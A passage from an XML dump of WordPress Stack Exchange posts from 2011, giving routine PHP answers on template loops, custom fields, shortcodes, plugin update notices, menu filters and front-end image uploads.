/&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;p&amp;gt;God dammit! FEZ why do you always ruin all the fun. Sorry the page you requested has been eaten! You will just have to find something else, deal with it.&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2832" LastEditorUserId="2832" LastEditorDisplayName="" LastEditDate="2011-03-15T05:21:17.960" LastActivityDate="2011-08-16T07:25:16.023" Title="Last post in loop - custom post types" Tags="&lt;custom-post-types&gt;&lt;loop&gt;" AnswerCount="1" />
  <row Id="11903" PostTypeId="2" ParentId="11893" CreationDate="2011-03-13T09:00:25.293" Score="2" ViewCount="" Body="&lt;p&gt;The functions that start with &quot;get_&quot; return the value to what's calling it. So you would do &lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_site_url(); ?&amp;gt;&quot;&amp;gt;&lt;/code&gt; instead to print out the URL.&lt;/p&gt;&#xA;" OwnerUserId="3803" LastActivityDate="2011-03-13T09:00:25.293" CommentCount="2" />
  <row Id="11904" PostTypeId="2" ParentId="11895" CreationDate="2011-03-13T09:03:30.110" Score="1" ViewCount="" Body="&lt;p&gt;The easiest way I can think of to do this is to have your plugin &quot;phone home&quot; to check a URL on your website that returns the current version of your plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way, your plugin (installed on another website) can check its version against the &quot;current&quot; version on your website to see if it's the same or newer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: sample code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should point out &lt;strong&gt;before you implement this&lt;/strong&gt;: this will add a banner across the top of the screen. If you're just looking to have your plugin show an update available in the menu down the left, I think it automagically does that when you upload the new version to the Wordpress repository. If you do want the banner across the top, proceed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would create a template specifically for this page so that the header and footer were not included:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    // Template Name: Bare Template&#xA;&#xA;    while (have_posts()) : the_post();&#xA;        the_content();&#xA;    endwhile;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way, all that will get printed is the page content, which is good for what we're doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, set up a page that uses this template, say, &quot;latest-plugin-version&quot;. If you view this page in your browser now, all it should say is the text from the page with no extra html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your plugin, create a function that prints out your notice. I've used inline styles in the example, you can use classes if you want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function yourpluginname_check_for_new_version() {&#xA;&#xA;    /* You probably shouldn't check for updates more than once a day, &#xA;    for everyone's bandwidth's sake. */&#xA;&#xA;    $last_check = get_option('yourpluginname_lastcheck');&#xA;    if ( $last_check + 86400 &amp;gt; time() ) { return; }&#xA;&#xA;    // If we're still here, check your site for a new version.&#xA;&#xA;    $current_version = get_option('yourpluginname_version');&#xA;    $latest_version = file_get_contents('http://www.yourdomain.com/latest-plugin-version/');&#xA;&#xA;    if ( $current_version != $latest_version ) {&#xA;        ?&amp;gt;&#xA;        &amp;lt;div style=&quot;background: #FFDDDD; color: red; width: 600px; &#xA;                    margin: 20px auto; padding: 10px; text-align: center;&#xA;                    border: 2px red solid;&quot;&amp;gt;&#xA;            There's a new version of MY PLUGIN available! You should upgrade now.&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;&#xA;    // Log that we've checked for an update now.&#xA;    update_option('yourpluginname_lastcheck', time());&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then, to tie it in so that it runs the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_notices', 'yourpluginname_check_for_new_version');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, in your installation function, you should add an option for the version number to be saved in the user's Wordpress:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_option( 'yourpluginname_version', '2.0' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use update_option instead of add_option, as it will add the option if it doesn't already exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should about do it.&lt;/p&gt;&#xA;" OwnerUserId="3803" LastEditorUserId="3803" LastEditorDisplayName="" LastEditDate="2011-03-13T12:44:00.670" LastActivityDate="2011-03-13T12:44:00.670" CommentCount="3" />
  <row Id="11905" PostTypeId="2" ParentId="11825" CreationDate="2011-03-13T09:13:50.537" Score="-1" ViewCount="" Body="&lt;p&gt;Try putting this in your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;remove_filter('template_redirect','redirect_canonical');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found when writing another function that it was &quot;helpfully&quot; redirecting urls like that for me. This will disable that.&lt;/p&gt;&#xA;" OwnerUserId="3803" LastActivityDate="2011-03-13T09:13:50.537" />
  <row Id="11906" PostTypeId="1" AcceptedAnswerId="11911" CreationDate="2011-03-13T09:18:48.850" Score="0" ViewCount="64" Body="&lt;p&gt;For some reason this custom field is not being shown in the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the template file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * Template Name: bbPress - Topics (Newest)&#xA; *&#xA; * @package bbPress&#xA; * @subpackage Theme&#xA; */&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;&#xA;                &amp;lt;?php do_action( 'bbp_template_notices' ); ?&amp;gt;&#xA;&#xA;                &amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;                    &amp;lt;div id=&quot;topics-front&quot; class=&quot;bbp-topics-front&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;&#xA;                            &amp;lt;div id=&quot;page-intro&quot;&amp;gt;&#xA;                                &amp;lt;?php the_content(); ?&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&#xA;                            &amp;lt;?php get_template_part( 'loop', 'bbp_topics' ); ?&amp;gt;&#xA;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;!-- #topics-front --&amp;gt;&#xA;&#xA;                &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;                &amp;lt;?php if ( get_post_meta($post-&amp;gt;ID, 'note', true) ) : ?&amp;gt;&#xA;                    &amp;lt;div id=&quot;note&quot;&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'note', true); ?&amp;gt;&amp;lt;p/&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #container --&amp;gt;&#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see everything is set:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/BAftU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-04-27T23:49:53.697" Title="Value from custom field is not being displayed?" Tags="&lt;custom-field&gt;" AnswerCount="2" />
  <row Id="11907" PostTypeId="2" ParentId="11900" CreationDate="2011-03-13T09:18:52.510" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function foo($where) { return $where . ' AND  YEAR(post_date) = 2010 '; }&#xA;add_filter('getarchives_where', 'foo', 1, 10);&#xA;?&amp;gt;&#xA;&amp;lt;select name=&quot;archive-dropdown&quot; onChange='document.location.href=this.options[this.selectedIndex].value;'&amp;gt;&#xA;&amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;?php esc_attr_e( __('Select Issue') ); ?&amp;gt;&amp;lt;/option&amp;gt;                                                               &#xA;&amp;lt;?php wp_get_archives('type=daily&amp;amp;format=option'); ?&amp;gt;&#xA;&amp;lt;/select&amp;gt;                                                                       &#xA;&amp;lt;?php remove_filter('getarchives_where', 'foo', 1, 10); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3768" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-16T12:50:45.793" LastActivityDate="2011-03-16T12:50:45.793" CommentCount="1" />
  <row Id="11908" PostTypeId="2" ParentId="11899" CreationDate="2011-03-13T09:19:28.427" Score="1" ViewCount="" Body="&lt;p&gt;Ok, so the idea is that you have an outer loop, that displays the tours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then you have an inner loop, that displays each artist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way The Loop works is that it populates a lot of global variables, such as &lt;code&gt;$post&lt;/code&gt;, so it looks like magic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's look at a more uniform approach:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tours = get_posts( array(&#xA;    'post_type' =&amp;gt; 'tours',&#xA;    'nopaging' =&amp;gt; true,&#xA;    'each_connected_to' =&amp;gt; array(&#xA;        'post_type' =&amp;gt; 'artists',&#xA;        'nopaging' =&amp;gt; true,&#xA;    ),&#xA;    'suppress_filters' =&amp;gt; false&#xA;) );&#xA;&#xA;// outer loop&#xA;foreach ( $tours as $tour ) {&#xA;    echo get_the_title( $tour-&amp;gt;ID );&#xA;    echo get_post_meta( $tour-&amp;gt;ID, 'ticket_link', true );&#xA;&#xA;    // inner loop&#xA;    foreach ( $tour-&amp;gt;connected_to as $artist ) {&#xA;        echo get_the_title( $artist-&amp;gt;ID );&#xA;        echo '&amp;lt;br/&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-13T12:12:51.337" LastActivityDate="2011-03-13T12:12:51.337" CommentCount="6" />
  <row Id="11910" PostTypeId="1" AcceptedAnswerId="11912" CreationDate="2011-03-13T09:48:06.967" Score="1" ViewCount="78" Body="&lt;p&gt;I have created some pages (not post) in wordpress related to my college notes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to display a copyright message of the college on this pages, but I don't want do  this manually every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there any plug-in or tweak available to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="1293" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-03-14T00:03:17.407" LastActivityDate="2011-03-14T00:03:17.407" Title="Copyright messages for a particular set of pages" Tags="&lt;plugins&gt;&lt;page&gt;&lt;customization&gt;" AnswerCount="2" />
  <row Id="11911" PostTypeId="2" ParentId="11906" CreationDate="2011-03-13T09:50:22.363" Score="5" ViewCount="" Body="&lt;p&gt;You're doing it outside of The Loop there, so $post is undefined at that point. Put it above the &lt;code&gt;endwhile&lt;/code&gt; and it should work.&lt;/p&gt;&#xA;" OwnerUserId="3803" LastActivityDate="2011-03-13T09:50:22.363" />
  <row Id="11912" PostTypeId="2" ParentId="11910" CreationDate="2011-03-13T09:57:35.960" Score="3" ViewCount="" Body="&lt;p&gt;You could add a custom field to the pages you want to show the copyright on and have your page.php (or header.php or index.php or whatever) look for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &#xA;Set a custom field of &quot;show_copyright&quot; to &quot;1&quot; in the page editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your page.php, right above &lt;code&gt;&amp;lt;?php endwhile; endif; ?&amp;gt;&lt;/code&gt;, add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( get_post_meta($post-&amp;gt;ID, 'show_copyright', true) ) {&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class='copy'&amp;gt;&#xA;        This is your copyright notice.&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, that said, there's another way you could do it. Make a copy of your page.php, index,php, whatever, to a new name like &quot;copyright.php&quot;. Add your copyright message into that, and at the very top of the file, add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Template Name: Copyright Notice&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, when editing your page, change the Page Template on the right to &quot;Copyright Notice&quot;. The trouble with this second method, though, is if you decide to change something in your website, you'll need to edit both your page.php file (or index, blah blah) as well as your copyright.php.&lt;/p&gt;&#xA;" OwnerUserId="3803" LastEditorUserId="3803" LastEditorDisplayName="" LastEditDate="2011-03-13T12:11:48.700" LastActivityDate="2011-03-13T12:11:48.700" CommentCount="3" />
  <row Id="11913" PostTypeId="1" AcceptedAnswerId="11930" CreationDate="2011-03-13T10:46:12.110" Score="0" ViewCount="107" Body="&lt;p&gt;I've created a custom post type with my own custom meta boxes.&#xA;Now I want to move the title box to the side or simply remove it and place the same content in a custom meta box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2830" LastEditorUserId="2830" LastEditorDisplayName="" LastEditDate="2011-03-13T12:10:33.253" LastActivityDate="2011-03-13T17:57:03.653" Title="Move title &quot;meta box&quot; in post mode" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;" AnswerCount="1" />
  <row Id="11914" PostTypeId="1" AcceptedAnswerId="11916" CreationDate="2011-03-13T11:36:43.497" Score="0" ViewCount="379" Body="&lt;p&gt;Hey! I have added a wp_loginout() to my header using a snippet in my functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_filter('wp_nav_menu_items', 'add_login_logout_link', 10, 2);&#xA;function add_login_logout_link($items, $args) {&#xA;&#xA;        ob_start();&#xA;        wp_loginout('index.php');&#xA;        $loginoutlink = ob_get_contents();&#xA;        ob_end_clean();&#xA;&#xA;        $items .= '&amp;lt;li&amp;gt;'. $loginoutlink .'&amp;lt;/li&amp;gt;';&#xA;&#xA;    return $items;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The thing is that it shows the login link in every one of my three menues:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function register_main_menus() {&#xA;   register_nav_menus(&#xA;      array(&#xA;         'primary-menu' =&amp;gt; __( 'Primary Menu' ),&#xA;         'secondary-menu' =&amp;gt; __( 'Secondary Menu' ),&#xA;         'footer-menu' =&amp;gt; __( 'Footer Menu' ),&#xA;      )&#xA;   );&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to target the wp_nav_menu_items filter to only include the login link in the primary menu. Ideas? Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3901" LastActivityDate="2011-03-13T12:38:27.930" Title="Targeting specific menu with wp_nav_menu_items" Tags="&lt;functions&gt;" AnswerCount="1" />
  <row Id="11915" PostTypeId="2" ParentId="11895" CreationDate="2011-03-13T12:26:05.443" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://w-shadow.com/blog/2010/09/02/automatic-updates-for-any-plugin/&quot; rel=&quot;nofollow&quot;&gt;This library&lt;/a&gt; integrates auto-updates for privately hosted plugins. Looks great. &lt;/p&gt;&#xA;" OwnerUserId="799" LastActivityDate="2011-03-13T12:26:05.443" CommentCount="1" />
  <row Id="11916" PostTypeId="2" ParentId="11914" CreationDate="2011-03-13T12:38:27.930" Score="0" ViewCount="" Body="&lt;p&gt;See this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2143/customizing-only-a-specific-menu-using-the-wp-nav-menu-items-hook&quot;&gt;related question&lt;/a&gt;. I guess in your case you'd wrap your code in &lt;code&gt;if( $args-&amp;gt;theme_location == 'primary-menu' )&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3884" LastActivityDate="2011-03-13T12:38:27.930" CommentCount="1" />
  <row Id="11917" PostTypeId="2" ParentId="5623" CreationDate="2011-03-13T13:33:15.510" Score="1" ViewCount="" Body="&lt;p&gt;This doesn't require a Wordpress modification per se, but if you prefer to do it that way, here is a decent tutorial: &lt;a href=&quot;http://shibashake.com/wordpress-theme/wordpress-page-redirect&quot; rel=&quot;nofollow&quot;&gt;http://shibashake.com/wordpress-theme/wordpress-page-redirect&lt;/a&gt;. Some people would, however, prefer to do this via the .htaccess file, here is a quick guide on how to do redirects that way: &lt;a href=&quot;http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/#red1&quot; rel=&quot;nofollow&quot;&gt;http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/#red1&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2983" LastActivityDate="2011-03-13T13:33:15.510" />
  <row Id="11919" PostTypeId="2" ParentId="11849" CreationDate="2011-03-13T13:36:43.333" Score="0" ViewCount="" Body="&lt;p&gt;I had a similar problem in a friend's website. In my case it was because jQuery was being reloaded &lt;em&gt;after&lt;/em&gt; the plugin, which reseted jQuery. Try to look in your source (especially  in your theme's footer) if there's any plugin loading jQuery a second time.&lt;/p&gt;&#xA;" OwnerUserId="2503" LastActivityDate="2011-03-13T13:36:43.333" CommentCount="5" />
  <row Id="11920" PostTypeId="1" CreationDate="2011-03-13T13:51:50.060" Score="2" ViewCount="1455" Body="&lt;p&gt;I am trying to do something similar to the above question. I am trying to make users post and upload images from front-end. I have already done the post form and its working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just followed and tried the answer posted by Robin I Knight &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11395/upload-post-thumbnail-from-the-front-end&quot;&gt;upload-post-thumbnail-from-the-front-end&lt;/a&gt;. Sadly i couldn't get it to work. Is there anything i'm suppose to change or edit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3913" LastActivityDate="2011-03-29T12:34:39.277" Title="Submit post and upload image from front-end" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;attachments&gt;&lt;uploads&gt;&lt;front-end&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="11921" PostTypeId="1" CreationDate="2011-03-13T14:11:54.430" Score="0" ViewCount="53" Body="&lt;p&gt;&lt;code&gt;$followers = bp_get_follower_ids($user_id);&lt;/code&gt;  This code return the ID number of user when I echo it as 1,2,3,4. How to count or get the total IDs count. I want to show the total followers count number.&lt;/p&gt;&#xA;" OwnerUserId="3615" LastEditorUserId="3615" LastEditorDisplayName="" LastEditDate="2011-03-13T14:27:45.820" LastActivityDate="2011-03-13T17:56:34.307" Title="Turn user ID into Count" Tags="&lt;3.0&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="11922" PostTypeId="2" ParentId="11920" CreationDate="2011-03-13T14:46:24.977" Score="2" ViewCount="" Body="&lt;p&gt;I suggest you to take a look at @Goldenapples solution here,&lt;br&gt;&#xA;&lt;a href=&quot;http://goldenapplesdesign.com/2010/07/03/front-end-file-uploads-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://goldenapplesdesign.com/2010/07/03/front-end-file-uploads-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-03-13T14:46:24.977" CommentCount="1" />
  <row Id="11923" PostTypeId="2" ParentId="11741" CreationDate="2011-03-13T14:53:41.490" Score="0" ViewCount="" Body="&lt;p&gt;You can use JQuery to validate the content of the front-end fields/text areas and if you find anything that looks like a code or other strings you can disable the post process. Also you can request the users to register first (before they get access to the post form). Also you can set the post status to draft or to an another category you want, before you approve it.&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-03-13T14:53:41.490" />
  <row Id="11924" PostTypeId="2" ParentId="11122" CreationDate="2011-03-13T15:31:16.497" Score="0" ViewCount="" Body="&lt;p&gt;I found the answer to my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no need register query vars for this but instead to take care to not use some of the core query vars as this will break things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case it was the &lt;strong&gt;year&lt;/strong&gt; query variable which caused the 404.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-03-13T15:31:16.497" />
  <row Id="11925" PostTypeId="2" ParentId="6319" CreationDate="2011-03-13T16:14:10.093" Score="-1" ViewCount="" Body="&lt;p&gt;The plugin you are looking for is called &quot;Feed Wordpress&quot;.  This will scrape RSS feeds for content and repost it on your blog, albeit credited to you if thats what you're in the business of doing. - Taking credit I mean!  Otherwise, this is the plugin for you.&lt;/p&gt;&#xA;" OwnerUserId="3916" LastActivityDate="2011-03-13T16:14:10.093" CommentCount="1" />
  <row Id="11926" PostTypeId="1" AcceptedAnswerId="11927" CreationDate="2011-03-13T17:02:34.343" Score="0" ViewCount="230" Body="&lt;p&gt;hey guys,&#xA;The &quot;mingle forum plugin&quot; provides the following shortcode [mingleforum].&#xA;When I paste this into a page the forum is shown. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My forum is using a specific page-template called forum.php. Is it possible to already include this shortcode in the page-template itself, so I don't have to paste it in the wordpress backend anymore. So that when I use the forum.php page template the forum is always automatically embedded?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your tipps and info.&lt;/p&gt;&#xA;" OwnerUserId="3529" LastActivityDate="2011-03-13T17:46:21.957" Title="Adding a post shortcode to a page template?" Tags="&lt;plugins&gt;&lt;php&gt;&lt;page-template&gt;" AnswerCount="1" />
  <row Id="11927" PostTypeId="2" ParentId="11926" CreationDate="2011-03-13T17:13:41.350" Score="1" ViewCount="" Body="&lt;p&gt;To use shortcode in a PHP file (outside the post editor) you have the handy little function &#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_shortcode&quot; rel=&quot;nofollow&quot;&gt;do_shortcode();&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so in your case you use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;do_shortcode('[mingleforum]');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;following the first comment, &#xA;I figured its publicly known for some reason, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;if you are expecting output from the shortcode then echo it out&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;echo do_shortcode('[mingleforum]');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-13T17:46:21.957" LastActivityDate="2011-03-13T17:46:21.957" CommentCount="3" />
  <row Id="11928" PostTypeId="2" ParentId="11920" CreationDate="2011-03-13T17:25:43.413" Score="5" ViewCount="" Body="&lt;p&gt;If you are talking about the answer i posted &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11395/upload-post-thumbnail-from-the-front-end/11400#11400&quot;&gt;here&lt;/a&gt;&#xA;its simply uploading file in an iframe to achieve &quot;Ajax like&quot; submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you already have a form that handles the post submit you can simply add the upload file field input somewhere in your form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form ...&#xA;...&#xA;&amp;lt;input type=&quot;file&quot; name=&quot;thumbnail&quot; id=&quot;thumbnail&quot;&amp;gt;&#xA;...&#xA;...&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;make sure that your form has &lt;code&gt;enctype=&quot;multipart/form-data&quot;&lt;/code&gt; attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then in your form processing script after you create the post (assuming that you are using wp_insert_post();)&#xA;keep hold of the post ID in a new var:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$new_post = wp_insert_post($post_array);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and after that add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            if (!function_exists('wp_generate_attachment_metadata')){&#xA;                require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/image.php');&#xA;                require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/file.php');&#xA;                require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/media.php');&#xA;            }&#xA;             if ($_FILES) {&#xA;                foreach ($_FILES as $file =&amp;gt; $array) {&#xA;                    if ($_FILES[$file]['error'] !== UPLOAD_ERR_OK) {&#xA;                        return &quot;upload error : &quot; . $_FILES[$file]['error'];&#xA;                    }&#xA;                    $attach_id = media_handle_upload( $file, $new_post );&#xA;                }   &#xA;            }&#xA;            if ($attach_id &amp;gt; 0){&#xA;                //and if you want to set that image as Post  then use:&#xA;                update_post_meta($new_post,'_thumbnail_id',$attach_id);&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you image will be uploaded and saved as post thumbnail.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-13T17:25:43.413" CommentCount="4" />
  <row Id="11929" PostTypeId="2" ParentId="11921" CreationDate="2011-03-13T17:56:34.307" Score="1" ViewCount="" Body="&lt;p&gt;You can use PHP &lt;a href=&quot;http://php.net/manual/en/function.explode.php&quot; rel=&quot;nofollow&quot;&gt;explode()&lt;/a&gt; function to turn this into an array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$followers = bp_get_follower_ids($user_id);&#xA;$follow = explode (&quot;,&quot; , $followers);&#xA;//then just use count&#xA;echo count($follow);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-13T17:56:34.307" />
  <row Id="11930" PostTypeId="2" ParentId="11913" CreationDate="2011-03-13T17:57:03.653" Score="0" ViewCount="" Body="&lt;p&gt;When you register your post type, use the &lt;code&gt;supports&lt;/code&gt; argument to explicitly set which core meta boxes to use.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type('my_type', array(&#xA;    'supports' =&amp;gt; array( 'editor' ) // if &quot;title&quot; isn't in this array, it won't appear on the edit post page&#xA;    // other arguments&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-13T17:57:03.653" CommentCount="1" />
  <row Id="11931" PostTypeId="2" ParentId="11902" CreationDate="2011-03-13T18:06:14.360" Score="0" ViewCount="" Body="&lt;p&gt;Your template file should be named &lt;code&gt;archive-[post_type].php&lt;/code&gt;. Check out &lt;a href=&quot;http://codex.wordpress.org/images/1/18/Template_Hierarchy.png&quot; rel=&quot;nofollow&quot;&gt;the template hierarchy&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-13T18:06:14.360" CommentCount="8" />
  <row Id="11932" PostTypeId="2" ParentId="11910" CreationDate="2011-03-13T18:10:16.307" Score="2" ViewCount="" Body="&lt;p&gt;Two more methods both without editing any theme files (well, almost).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Method One - the_content filter&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content','my_copy_right_notice');&#xA;function my_copy_right_notice($content){&#xA;    if (is_page){&#xA;        global $post;&#xA;        if (get_post_meta($post-&amp;gt;ID, 'show_copyright', true)){&#xA;            $copyright ='&amp;lt;div class=&quot;copy&quot;&amp;gt;&#xA;                        This is your copyright notice.&#xA;                    &amp;lt;/div&amp;gt;';&#xA;            $content = $content . $copyright&#xA;        }&#xA;    }&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;similar to before, after you add this to your functions.php&#xA;on any page you would like to display the copyrights then just set a custom field of &quot;show_copyright&quot; to &quot;1&quot; in the page editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Done!&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Method Two - custom shortcode&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('MY_COPY','my_copy_right_notice_shortcode');&#xA;function my_copy_right_notice_shortcode($content){&#xA;    $copyright ='&amp;lt;div class=&quot;copy&quot;&amp;gt;&#xA;                    This is your copyright notice.&#xA;                &amp;lt;/div&amp;gt;';&#xA;    return 